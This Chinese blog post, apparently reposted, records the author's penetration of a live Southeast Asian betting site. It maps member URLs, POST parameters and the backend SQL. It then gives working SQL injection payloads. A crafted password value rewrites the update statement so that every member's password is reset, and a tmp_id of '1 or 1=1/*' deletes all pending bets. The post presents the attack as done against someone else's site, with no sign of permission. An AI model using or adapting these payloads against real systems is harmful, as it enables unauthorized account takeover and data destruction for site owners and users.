对东南亚某站的一次渗透

#登陆以后,uid被重新分配,并且将用户名和密码也传过去。
估计在会有一个数据表专门存这些数据
#可能的数据表结构:
CREATETABLEloginuid(
uidchar(16),
idinteger,
usernamevarchar(30),
timedatetime
);

/app/member/chk_rule.php?mtype=&uid=1c2c91396a7f1966
#其中mtype好像不是必须的参数,也不起到什么作用
#程序对uid进行查询,如果非法,则返回首页

/app/member/FT_header.php?uid=1c2c91396a7f1966&showtype=&mtype=3
#显示最上面菜单的,后面的参数其实不是必须的,包括uid

/app/member/select.php?uid=1c2c91396a7f1966&mtype=3
#最左面的用户信息区,要求uid合法

足球

/app/member/FT_index.php?uid=1c2c91396a7f1966&langx=zh-tw&mtype=3
#进去以后,默认为显示足球,其中mtype好像没有什么作用

/app/member/FT_browse/index.php?uid=1c2c91396a7f1966
#单场rtype=r

/js/FT_mem_showgame.js
#这个好像是下注的时候,用来在左边信息栏里面生成页面的
/app/member/FT_browse/body_var.php
#其实就是一个HTML,生成数组的,对以后的研究有用
/app/member/FT_browse/body_browse.php?uid=109dc631978b8b0&rtype=r
#显示单场信息的,不过好像不需要uid


#走地:和单场一样,只是rtype=re
#波胆:和单场一样,只是rtype=pd
#入秋数:rtype=t

#标准过关(rtype=p)、让球过关(rtype=pr)

投注:
/app/member/FT_order/FT_order_m.php?gid=843&uid=109dc631978b8b0&type=H&gnum=301
#生成投注界面
#其中gid和gnum在body_var数组定义里面有

/app/member/FT_order/FT_order_m.php
#处理投注信息
#POST:

gold=60&uid=109dc631978b8b0&active=1&line_type=3&gid=843&type=C&gnum=
301&concede_h=1&radio_h=100&ioradio_r_h=6.60&gmax_single=30000&gmin_
single=50&singlecredit=1000&singleorder=500&restsinglecredit=
0&wagerstotal=1000&restcredit=1000&pay_type=0

#SQL:SELECTFL,fid,posfromFT_followWHEREgid='$gid'
#SQL:SELECT*FROMFT_paramwhereltype=$line_typeandgid=$gidandrtype='$rtype'
#SQL:INSERTINTOwagersOU(gtype,wtype,cid,sid,aid,mid,
code,code_value,pay_type,winloss_s,
winloss_a,gold,gold_d,gid,gnum,strong,type,concede,ratio,ioratio,result,
orderdate,adddate,wingold,wratio_c,wratio_s,wratio_a,wratio_m,wgold_c,
wgold_s,wgold_a,wgold_m)VALUES('FT','M','7','26','104','453','RMB','1',
'0','100','30','$gold','5.00','$gid','$gnum','','C','1','100','$ioradio_r
_h','0','2004-03-10','2004-03-1001:03:50','0','95','95',
'95','100','0','0','0','0')


/app/member/FT_order/FT_order_p.php
#生成临时投注
#POST:

game_id1=844&game1=H&game_id2=846&game2=H&game_id3=847&game3=
H&game_id4=848&game_id5=849&game_id6=845&game_id7=850&teamcount=
7&active=1&uid=6defa21b702a5d87&TEAM0310=%C8%B7%C8%CF

#SQL:SELECTFL,fid,posfromFT_followWHEREgid='$game_id1'
#SQL:selectioratiofromFT_paramwheregid='903'ANDrtype='M$game1'


/app/member/FT_order/FT_order_pr.php?active=3&uid=
109dc631978b8b0&tmp_id=76507&pdate=2004-03-10
#删除临时投注,注意tmp_id

#SQL:deletefromwagers_tmpwhereid=$tmp_id


/app/member/FT_order/FT_order_pr_finish.php
#多个投注处理
#POST:

wkind=S&wstar=3&gold=50&uid=109dc631978b8b0&active=1&teamcount=
3&username=caa1307&singlecredit=1000&singleorder=500&gmin_single=
50&gmax_single=500&restcredit=854&wagerstotal=
0&pay_type=0&sc=0+0+0+&pdate=2004-03-10

#SQL:SELECTid,gold,code_valueFROMwagersPWHEREmid=453and
star=$teamcountandrtype='PR'andgtype='FT'

/app/member/result/result.php?game_type=FT&uid=109dc631978b8b0
#比赛结果
#POST:game_type=FT&today=2004-03-10&submit=%B2%E9%D1%AF
#SQL:selectid,name_c,name_g,name_efrom$game_type_leagues
#SQL:select*from$game_typewhereleague_id='199'anddate='$today'
andgame_over='Y'ORDERBYnum_c


会员资料:
/app/member/account/mem_data.php?uid=109dc631978b8b0
#会员资料,uid必须合法

/app/member/account/chg_passwd.php?uid=109dc631978b8b0
#修改密码

/app/member/account/chg_passwd.php?uid=109dc631978b8b0
#action=1的时候处理密码信息
#POST:password=ice3y3&action=1&uid=109dc631978b8b0
#SQL:updatememberssetpassword=PASSWORD('$password'),
passwd='$password'whereid='453'
#注释:其中members.password是加密后的密码,passwd是明文,id是根据uid算出来的

#构造:updatememberssetpassword=PASSWORD('$password'),
passwd='$password'whereid='453'


****************************************************

程序分析:

登陆:
#SQL:SELECTid,username,typeFROMmembersWHEREusername='$username'
ANDpassword=PASSWORD('$password')AND`enable`='Y'

它验证的是members.password,也就是被加密过的密码字段,而不是明文密码字段
,所以我们修改密码只需要修改members.password
通过/app/member/account/chg_passwd.php?uid=109dc631978b8b0修改
#SQL:updatememberssetpassword=PASSWORD('$password'),passwd='
$password'whereid='453'
#由于'最终被替换为\\',\最终被替换为\\\\,所以我们修改的密码都得有\字符
#$password=newpwd')whereid=id/*
#系统处理以后最终变为:$password=newpwd\\')whereid=id/*
#代入SQL:
#SQL:updatememberssetpassword=PASSWORD('newpwd\\')
whereid=id/*'),passwd='newpwd\\')whereid=id/*'whereid='453'
#等价于SQL:updatememberssetpassword=PASSWORD('newpwd\\')whereid=id
#其中的id可以是任何一个数字

删除临时投注:
/app/member/FT_order/FT_order_pr.php?active=3&uid=109dc631978b8b0&tmp_id
=76507&pdate=2004-03-10
#删除临时投注,注意tmp_id
#SQL:deletefromwagers_tmpwhereid=$tmp_id
#$tmp_id=1or1=1/*
#SQL:deletefromwagers_tmpwhereid=1or1=1
#结果:删除所有的临时投注

//////////////////////////////////////////////版权为iceeye本人所有,转载请著明

原文地址:https://www.cnblogs.com/Fooo/p/804559.html